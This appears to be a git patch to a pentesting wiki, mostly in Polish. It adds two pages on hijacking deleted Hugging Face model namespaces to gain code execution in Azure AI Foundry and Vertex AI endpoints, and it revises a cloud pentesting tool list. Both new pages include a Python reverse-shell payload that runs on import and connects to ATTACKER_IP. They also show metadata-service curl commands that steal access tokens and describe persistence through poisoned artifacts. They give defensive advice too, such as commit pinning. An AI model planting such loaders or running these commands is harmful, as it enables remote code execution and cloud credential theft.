From aa22ef4bc0b4162da362b7404897e6c3b0b8a441 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 21:23:18 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp --- .../az-post-exploitation/README.md | 6 + .../az-azure-ai-foundry-post-exploitation.md | 94 +++++++++++++++ .../gcp-post-exploitation/README.md | 6 + .../gcp-vertex-ai-post-exploitation.md | 113 ++++++++++++++++++ .../pentesting-cloud-methodology.md | 95 +++++++-------- 5 files changed, 267 insertions(+), 47 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index c9610a2f0..52b7c1b91 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -1,3 +1,9 @@ # Az - Post Exploitation {{#include ../../../banners/hacktricks-training.md}} + +{{#ref}} +az-azure-ai-foundry-post-exploitation.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md new file mode 100644 index 000000000..d95f03b65 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md @@ -0,0 +1,94 @@ +# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse + +{{#include ../../../banners/hacktricks-training.md}} + +## Scenariusz + +- Azure AI Foundry Model Catalog zawiera wiele modeli Hugging Face (HF) gotowych do jednoklikowego wdrożenia. +- HF model identifiers are Author/ModelName. Jeśli autor/org HF zostanie usunięty, każdy może ponownie zarejestrować tego autora i opublikować model o tej samej nazwie ModelName pod legacy path. +- Pipelines i katalogi, które pobierają tylko po nazwie (no commit pinning/integrity), rozwiążą się do repozytoriów kontrolowanych przez atakującego. Gdy Azure wdroży model, loader code może wykonać się w środowisku endpointa, przyznając RCE z uprawnieniami tego endpointa. + +Common HF takeover cases: +- Ownership deletion: Old path 404 until takeover. +- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path. + +## Identyfikacja ponownie używalnych przestrzeni nazw (HF) +```bash +# Check author/org existence +curl -I https://huggingface.co/ # 200 exists, 404 deleted/available + +# Check model path +curl -I https://huggingface.co// +# 307 -> redirect (transfer case), 404 -> deleted until takeover +``` +## Pełny przebieg ataku przeciwko Azure AI Foundry + +1) W Model Catalog znajdź modele HF, których oryginalni Authorzy zostali usunięci lub przeniesieni (stary Author usunięty) na HF. +2) Zarejestruj ponownie porzuconego Authora na HF i odtwórz ModelName. +3) Opublikuj złośliwe repo z kodem loadera, który wykonuje się przy imporcie lub wymaga trust_remote_code=True. +4) Wdróż legacy Author/ModelName z Azure AI Foundry. Platforma pobierze repo atakującego; loader wykona się wewnątrz kontenera/VM endpointu Azure, co doprowadzi do RCE z uprawnieniami endpointu. + +Przykładowy fragment payloadu wykonywany przy imporcie (tylko w celach demonstracyjnych): +```python +# __init__.py or a module imported by the model loader +import os, socket, subprocess, threading + +def _rs(host, port): +s = socket.socket(); s.connect((host, port)) +for fd in (0,1,2): +try: +os.dup2(s.fileno(), fd) +except Exception: +pass +subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images + +if os.environ.get("AZUREML_ENDPOINT","1") == "1": +threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() +``` +Notatki +- Wdrożenia AI Foundry, które integrują HF, zazwyczaj klonują i importują moduły repozytoriów odwoływane w konfiguracji modelu (np. auto_map), co może wywołać code execution. Niektóre ścieżki wymagają trust_remote_code=True. +- Dostęp zazwyczaj odpowiada uprawnieniom managed identity/service principal endpointu. Traktuj to jako initial access foothold do dostępu do danych i lateral movement w Azure. + +## Post-Exploitation Tips (Azure Endpoint) + +- Wylistuj zmienne środowiskowe i MSI endpoints w poszukiwaniu tokenów: +```bash +# Azure Instance Metadata Service (inside Azure compute) +curl -H "Metadata: true" \ +"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" +``` +- Sprawdź zamontowane pamięci masowe, artefakty modeli oraz dostępne usługi Azure przy użyciu pozyskanego tokena. +- Rozważ persistence poprzez pozostawienie poisoned model artifacts, jeśli platforma ponownie pobiera je z HF. + +## Wskazówki obronne dla użytkowników Azure AI Foundry + +- Przypinaj modele do konkretnego commit podczas ładowania z HF: +```python +from transformers import AutoModel +m = AutoModel.from_pretrained("Author/ModelName", revision="") +``` +- Twórz lustrzane kopie zweryfikowanych modeli HF w zaufanym wewnętrznym rejestrze i wdrażaj stamtąd. +- Nieustannie skanuj repozytoria kodu oraz defaults/docstrings/notebooks w poszukiwaniu na stałe zakodowanych Author/ModelName, które zostały usunięte/przeniesione; zaktualizuj lub przypnij. +- Zweryfikuj istnienie autora i pochodzenie modelu przed wdrożeniem. + +## Heurystyki rozpoznawania (HTTP) + +- Usunięty autor: strona autora 404; stara ścieżka modelu 404 aż do przejęcia. +- Przeniesiony model: stara ścieżka 307 do nowego autora, podczas gdy stary autor nadal istnieje; jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, stara ścieżka serwuje zawartość kontrolowaną przez atakującego. +```bash +curl -I https://huggingface.co// | egrep "^HTTP|^location" +``` +## Odniesienia krzyżowe + +- Zobacz szerszą metodologię i uwagi dotyczące łańcucha dostaw: + +{{#ref}} +../../pentesting-cloud-methodology.md +{{#endref}} + +## Referencje + +- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) +- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md index b16f7d106..8f4597e1a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md @@ -1,3 +1,9 @@ # GCP - Post Exploitation {{#include ../../../banners/hacktricks-training.md}} + +{{#ref}} +gcp-vertex-ai-post-exploitation.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md new file mode 100644 index 000000000..f8e9c6b8f --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -0,0 +1,113 @@ +# GCP - Vertex AI Post-Exploitation przez ponowne wykorzystanie przestrzeni nazw modeli Hugging Face + +{{#include ../../../banners/hacktricks-training.md}} + +## Scenariusz + +- Vertex AI Model Garden pozwala na bezpośrednie wdrożenie wielu modeli Hugging Face (HF). +- Identyfikatory modeli HF mają postać Author/ModelName. Jeśli autor/organizacja na HF zostanie usunięta, ta sama nazwa autora może zostać ponownie zarejestrowana przez dowolną osobę. Atakujący mogą wtedy stworzyć repo o tej samej nazwie ModelName w historycznej ścieżce. +- Pipelines, SDKs, or cloud catalogs that fetch by name only (no pinning/integrity) will pull the attacker-controlled repo. When the model is deployed, loader code from that repo can execute inside the Vertex AI endpoint container, yielding RCE with the endpoint’s permissions. + +Dwa typowe przypadki przejęcia na HF: +- Ownership deletion: Stara ścieżka zwraca 404 dopóki ktoś nie zarejestruje ponownie autora i nie opublikuje tego samego ModelName. +- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attacker’s repo serves at the legacy path. + +## Identyfikowanie możliwych do ponownego użycia przestrzeni nazw (HF) + +- Stary autor usunięty: strona autora zwraca 404; ścieżka modelu może zwracać 404 aż do przejęcia. +- Przeniesione modele: stara ścieżka modelu zwraca 307 do nowego właściciela, dopóki stary autor istnieje. Jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, historyczna ścieżka będzie wskazywać na repo atakującego. + +Szybkie sprawdzenia za pomocą curl: +```bash +# Check author/org existence +curl -I https://huggingface.co/ +# 200 = exists, 404 = deleted/available + +# Check old model path behavior +curl -I https://huggingface.co// +# 307 = redirect to new owner (transfer case) +# 404 = missing (deletion case) until someone re-registers +``` +## Przebieg ataku end-to-end przeciwko Vertex AI + +1) Odnajdź przestrzenie nazw modeli możliwe do ponownego użycia, które Model Garden oznacza jako deployable: +- Znajdź modele HF w Vertex AI Model Garden, które nadal są oznaczone jako “verified deployable”. +- Sprawdź na HF, czy oryginalny autor został usunięty lub czy model został przeniesiony, a stary autor później usunięty. + +2) Zarejestruj ponownie usuniętego autora na HF i odtwórz ten sam ModelName. + +3) Opublikuj złośliwe repo. Dołącz kod, który wykona się podczas ładowania modelu. Przykłady, które często wykonują się podczas ładowania modelu HF: +- Efekty uboczne w __init__.py repo +- Własne pliki modeling_*.py lub kod przetwarzający wskazywany przez config/auto_map +- Ścieżki kodu wymagające trust_remote_code=True w Transformers pipelines + +4) Wdrożenie Vertex AI korzystające z legacy Author/ModelName teraz pobiera repo atakującego. Loader wykonuje się wewnątrz kontenera endpointu Vertex AI. + +5) Payload ustanawia dostęp ze środowiska endpointu (RCE) z uprawnieniami endpointu. + +Przykładowy fragment payloadu wykonywany podczas importu (tylko w celach demonstracyjnych): +```python +# Place in __init__.py or a module imported by the model loader +import os, socket, subprocess, threading + +def _rs(host, port): +s = socket.socket(); s.connect((host, port)) +for fd in (0,1,2): +try: +os.dup2(s.fileno(), fd) +except Exception: +pass +subprocess.call(["/bin/sh","-i"]) # Or python -c exec ... + +if os.environ.get("VTX_AI","1") == "1": +threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() +``` +Uwagi +- Rzeczywiste implementacje loaderów różnią się. Wiele integracji Vertex AI HF klonuje i importuje moduły z repozytorium wskazane w konfiguracji modelu (np. auto_map), co może prowadzić do wykonania kodu. W niektórych przypadkach wymagane jest trust_remote_code=True. +- Endpoint zwykle działa w dedykowanym kontenerze o ograniczonym zakresie, ale stanowi ważny początkowy punkt dostępu do danych i ruchu lateralnego w GCP. + +## Wskazówki po eksploatacji (Vertex AI Endpoint) + +Gdy kod działa wewnątrz kontenera endpointu, rozważ: +- Wyliczanie zmiennych środowiskowych i metadanych w poszukiwaniu poświadczeń/tokenów +- Dostęp do dołączonego storage'u lub zamontowanych artefaktów modelu +- Interakcja z Google APIs za pomocą tożsamości service account (Document AI, Storage, Pub/Sub, etc.) +- Utrwalanie w artefakcie modelu, jeśli platforma ponownie pobierze repo + +Wylicz metadane instancji, jeśli dostępne (zależne od kontenera): +```bash +curl -H "Metadata-Flavor: Google" \ +http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +``` +## Wytyczne obronne dla użytkowników Vertex AI + +- Przypinaj modele do commita w HF loaders, aby zapobiec cichej podmianie: +```python +from transformers import AutoModel +m = AutoModel.from_pretrained("Author/ModelName", revision="") +``` +- Replikuj zweryfikowane modele HF do zaufanego wewnętrznego magazynu artefaktów/rejestru i wdrażaj stamtąd. +- Nieprzerwanie skanuj repozytoria kodu i konfiguracje w poszukiwaniu na stałe zakodowanych Author/ModelName, które zostały usunięte/przeniesione; zaktualizuj do nowych przestrzeni nazw lub przypnij do commita. +- W Model Garden weryfikuj pochodzenie modelu i istnienie autora przed wdrożeniem. + +## Heurystyki rozpoznawcze (HTTP) + +- Usunięty autor: strona autora 404; ścieżka starego modelu 404 aż do przejęcia. +- Przeniesiony model: stara ścieżka 307 do nowego autora, podczas gdy stary autor istnieje; jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, stara ścieżka serwuje zawartość atakującego. +```bash +curl -I https://huggingface.co// | egrep "^HTTP|^location" +``` +## Odniesienia krzyżowe + +- Zobacz szerszą metodologię i uwagi dotyczące łańcucha dostaw: + +{{#ref}} +../../pentesting-cloud-methodology.md +{{#endref}} + +## Źródła + +- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) +- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 5640e8ac4..1e53a2bd5 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,44 +1,44 @@ -# Metodologia Pentestingu w Chmurze +# Pentesting Cloud Methodology {{#include ../banners/hacktricks-training.md}}
-## Podstawowa Metodologia +## Podstawowa metodologia -Każda chmura ma swoje własne szczególności, ale ogólnie istnieje kilka **wspólnych rzeczy, które pentester powinien sprawdzić** podczas testowania środowiska chmurowego: +Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment: -- **Sprawdzanie standardów** -- To pomoże Ci **zrozumieć rozmiar** środowiska i **używane usługi** -- Pozwoli to również znaleźć kilka **szybkich błędów konfiguracyjnych**, ponieważ większość tych testów można przeprowadzić za pomocą **automatycznych narzędzi** -- **Enumaracja usług** -- Prawdopodobnie nie znajdziesz wielu więcej błędów konfiguracyjnych, jeśli poprawnie przeprowadziłeś testy standardów, ale możesz znaleźć niektóre, które nie były brane pod uwagę w teście standardów. -- To pozwoli Ci wiedzieć **co dokładnie jest używane** w środowisku chmurowym -- To bardzo pomoże w następnych krokach -- **Sprawdź wystawione zasoby** -- Można to zrobić podczas poprzedniej sekcji, musisz **dowiedzieć się, co jest potencjalnie wystawione** w Internecie i jak można to uzyskać. -- Tutaj mam na myśli **ręcznie wystawioną infrastrukturę**, taką jak instancje z stronami internetowymi lub innymi portami, które są wystawione, a także inne **usługi zarządzane w chmurze, które mogą być skonfigurowane** do wystawienia (takie jak bazy danych lub kosze) -- Następnie powinieneś sprawdzić **czy ten zasób może być wystawiony czy nie** (informacje poufne? luki? błędy konfiguracyjne w wystawionej usłudze?) +- **Kontrole benchmarkowe** +- To pomoże ci **zrozumieć rozmiar** środowiska i **używane usługi** +- Pozwoli też znaleźć kilka **szybkich błędów konfiguracji**, gdyż większość tych testów można wykonać za pomocą **narzędzi automatycznych** +- **Enumeracja usług** +- Prawdopodobnie nie znajdziesz tu wielu dodatkowych błędów konfiguracji, jeśli prawidłowo wykonałeś testy benchmarkowe, ale możesz znaleźć takie, na które nie zwrócono uwagi podczas testu benchmarkowego. +- To pozwoli ci wiedzieć **co dokładnie jest używane** w środowisku chmurowym +- To bardzo pomoże w kolejnych krokach +- **Sprawdź zasoby wystawione** +- Można to zrobić w poprzedniej sekcji — musisz **odnaleźć wszystko, co potencjalnie jest wystawione** do Internetu i jak można to uzyskać. +- Tutaj mam na myśli **ręcznie wystawioną infrastrukturę** jak instancje z stronami WWW lub innymi otwartymi portami, a także inne **zarządzane usługi chmurowe, które mogą być skonfigurowane** do wystawienia (such as DBs or buckets) +- Następnie powinieneś sprawdzić **czy zasób może być wystawiony, czy nie** (informacje poufne? podatności? błędy konfiguracji w wystawionej usłudze?) - **Sprawdź uprawnienia** -- Tutaj powinieneś **dowiedzieć się o wszystkich uprawnieniach każdej roli/użytkownika** w chmurze i jak są one używane -- Zbyt **wiele wysoko uprzywilejowanych** (kontrolujących wszystko) kont? Wygenerowane klucze, które nie są używane?... Większość tych kontroli powinna być już przeprowadzona w testach standardów -- Jeśli klient używa OpenID lub SAML lub innej **federacji**, możesz potrzebować poprosić ich o dodatkowe **informacje** na temat **jak przypisywana jest każda rola** (to nie to samo, co przypisanie roli administratora 1 użytkownikowi lub 100) -- **Nie wystarczy znaleźć**, którzy użytkownicy mają **uprawnienia administratora** "\*:\*". Istnieje wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**. -- Co więcej, istnieją **potencjalne ścieżki privesc**, które można wykorzystać, nadużywając uprawnień. Wszystkie te rzeczy powinny być brane pod uwagę, a **jak najwięcej ścieżek privesc** powinno być zgłoszonych. +- Tutaj powinieneś **odnaleźć wszystkie uprawnienia każdej roli/użytkownika** w chmurze i jak są używane +- Zbyt wiele kont z wysokimi uprawnieniami (kontrolujących wszystko)? Wygenerowane klucze nieużywane?... Większość z tych kontroli powinna być już wykonana w testach benchmarkowych +- Jeżeli klient używa OpenID, SAML lub innej **federacji**, może być konieczne poprosić ich o dodatkowe **informacje** dotyczące **jak przypisywana jest każda rola** (to nie to samo, gdy rola admina przypisana jest 1 użytkownikowi lub 100) +- Nie wystarczy **znaleźć**, którzy użytkownicy mają uprawnienia **admin** "*:*". Jest wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**. +- Co więcej, istnieją **potencjalne ścieżki privesc** do wykorzystania przez nadużycie uprawnień. Wszystkie te rzeczy należy wziąć pod uwagę i zgłosić **jak najwięcej ścieżek privesc**. - **Sprawdź integracje** -- Jest bardzo prawdopodobne, że **integracje z innymi chmurami lub SaaS** są używane w środowisku chmurowym. -- Dla **integracji chmury, którą audytujesz** z inną platformą powinieneś powiadomić **kto ma dostęp do (nadużywania) tej integracji** i powinieneś zapytać **jak wrażliwa** jest wykonywana akcja.\ -Na przykład, kto może pisać w koszu AWS, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest akcja w GCP w związku z tymi danymi). -- Dla **integracji wewnątrz chmury, którą audytujesz** z zewnętrznych platform, powinieneś zapytać **kto ma dostęp zewnętrzny do (nadużywania) tej integracji** i sprawdzić, jak te dane są używane.\ -Na przykład, jeśli usługa używa obrazu Dockera hostowanego w GCR, powinieneś zapytać, kto ma dostęp do jego modyfikacji i jakie wrażliwe informacje oraz dostęp uzyska ten obraz po uruchomieniu w chmurze AWS. +- Jest bardzo prawdopodobne, że **integracje z innymi chmurami lub SaaS** są używane w obrębie środowiska chmurowego. +- W przypadku **integracji chmury, którą audytujesz**, z inną platformą powinieneś powiadomić **kto ma dostęp do (nadużycia) tej integracji** i zapytać **jak wrażliwa** jest wykonywana akcja.\ +Na przykład, kto może zapisywać do AWS bucketu, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest ta operacja w GCP przy przetwarzaniu tych danych). +- W przypadku **integracji wewnątrz audytowanej chmury** z platform zewnętrznych, powinieneś zapytać **kto z zewnątrz ma dostęp do (nadużycia) tej integracji** i sprawdzić, jak te dane są wykorzystywane.\ +Na przykład, jeśli usługa używa obrazu Docker hostowanego w GCR, powinieneś zapytać, kto ma dostęp do modyfikacji tego obrazu i jakie wrażliwe informacje oraz uprawnienia uzyska ten obraz po uruchomieniu wewnątrz chmury AWS. -## Narzędzia Multi-Cloud +## Narzędzia multi-cloud -Istnieje kilka narzędzi, które można wykorzystać do testowania różnych środowisk chmurowych. Kroki instalacji i linki będą wskazane w tej sekcji. +There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Narzędzie do **identyfikacji złych konfiguracji i ścieżek privesc w chmurach i między chmurami/SaaS.** +A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -Obsługuje **AWS, GCP i Azure**. Sprawdź, jak skonfigurować każdego dostawcę w [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) +Obsługuje **AWS, GCP & Azure**. Sprawdź, jak skonfigurować każdego dostawcę w [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -115,7 +115,7 @@ npm install AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} -{{#tab name="Instalacja" }} +{{#tab name="Install" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -170,7 +170,7 @@ steampipe check all Sprawdź wszystkie projekty -Aby sprawdzić wszystkie projekty, musisz wygenerować plik `gcp.spc`, wskazując wszystkie projekty do przetestowania. Możesz po prostu postępować zgodnie z instrukcjami z poniższego skryptu. +Aby sprawdzić wszystkie projekty, musisz wygenerować plik `gcp.spc` wskazujący wszystkie projekty do przetestowania. Możesz po prostu skorzystać ze wskazówek w poniższym skrypcie ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ``` -Aby sprawdzić **inne informacje GCP** (przydatne do enumeracji usług), użyj: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Aby sprawdzić **inne GCP insights** (przydatne do enumeracji usług) użyj: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -Aby sprawdzić kod Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Aby sprawdzić Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -Więcej wtyczek GCP Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Więcej GCP pluginów Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} @@ -225,9 +225,9 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -Aby sprawdzić kod Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +Aby sprawdzić kod Terraform dla AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -Więcej wtyczek AWS Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Więcej wtyczek Steampipe dla AWS: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} @@ -238,11 +238,11 @@ Wymaga python2.7 i wygląda na nieutrzymywane. ### Nessus -Nessus ma skan _**Audit Cloud Infrastructure**_ wspierający: AWS, Azure, Office 365, Rackspace, Salesforce. Wymagane są dodatkowe konfiguracje w **Azure**, aby uzyskać **Client Id**. +Nessus ma skan _**Audit Cloud Infrastructure**_ obsługujący: AWS, Azure, Office 365, Rackspace, Salesforce. W **Azure** wymagane są dodatkowe konfiguracje, aby uzyskać **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist to **narzędzie multi-cloud do pozyskiwania zasobów** (nazwy hostów, adresy IP) od dostawców chmury. +Cloudlist to **narzędzie multi-cloud do pozyskiwania zasobów** (Hostnames, IP Addresses) od dostawców chmurowych. {{#tabs }} {{#tab name="Cloudlist" }} @@ -265,7 +265,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography to narzędzie w Pythonie, które konsoliduje zasoby infrastruktury oraz relacje między nimi w intuicyjnym widoku graficznym zasilanym przez bazę danych Neo4j. +Cartography to narzędzie w Pythonie, które konsoliduje zasoby infrastruktury i relacje między nimi w intuicyjnym widoku grafu opartym na bazie danych Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, kontroli bezpieczeństwa i innych, w intuicyjny widok graficzny wspierany przez bazę danych Neo4j. +Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, mechanizmów zabezpieczeń i innych, do intuicyjnego widoku grafowego wspieranego przez bazę danych Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -361,7 +361,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Odkryj najbardziej uprzywilejowanych użytkowników w zeskanowanym środowisku AWS lub Azure, w tym AWS Shadow Admins. Używa powershell. +Odnajdź najbardziej uprzywilejowanych użytkowników w skanowanym środowisku AWS lub Azure, w tym AWS Shadow Admins. Używa powershell. ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,15 +372,15 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -Narzędzie do znajdowania infrastruktury, plików i aplikacji firmy (cel) na czołowych dostawcach chmury (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Narzędzie do znajdowania infrastruktury firmy (target), plików i aplikacji u największych dostawców chmury (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox to narzędzie do znajdowania podatnych ścieżek ataku w infrastrukturze chmurowej (obecnie wspierane tylko AWS i Azure, GCP wkrótce). -- Jest to narzędzie do enumeracji, które ma na celu uzupełnienie ręcznego pentestingu. -- Nie tworzy ani nie modyfikuje żadnych danych w środowisku chmurowym. +- CloudFox to narzędzie do znajdowania exploitable attack paths w cloud infrastructure (aktualnie obsługiwane tylko AWS & Azure, GCP wkrótce). +- Jest enumeration tool, które ma uzupełniać manualny pentesting. +- Nie tworzy ani nie modyfikuje żadnych danych w obrębie środowiska chmurowego. -### Więcej list narzędzi do zabezpieczeń chmurowych +### More lists of cloud security tools - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -412,10 +412,11 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter)tworzy „graf ataku” zasobów w subskrypcji Azure. Umożliwia zespołom red i pentesterom wizualizację powierzchni ataku i możliwości pivotowania w obrębie najemcy, a także wspomaga obrońców w szybkim orientowaniu się i priorytetyzowaniu pracy związanej z odpowiedzią na incydenty. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) tworzy „attack graph” zasobów w subskrypcji Azure. Umożliwia red teams i pentesters wizualizację attack surface i możliwości pivot w ramach tenant, a także przyspiesza obrońców, pozwalając szybko się zorientować i priorytetyzować prace związane z incident response. ### Office365 -Potrzebujesz **Global Admin** lub przynajmniej **Global Admin Reader** (ale zauważ, że Global Admin Reader jest nieco ograniczony). Jednak te ograniczenia pojawiają się w niektórych modułach PS i można je obejść, uzyskując dostęp do funkcji **za pośrednictwem aplikacji webowej**. +Potrzebujesz **Global Admin** lub przynajmniej **Global Admin Reader** (ale pamiętaj, że Global Admin Reader jest trochę ograniczony). Jednak te ograniczenia pojawiają się w niektórych PS modules i można je obejść, uzyskując dostęp do funkcji **via the web application**. + {{#include ../banners/hacktricks-training.md}}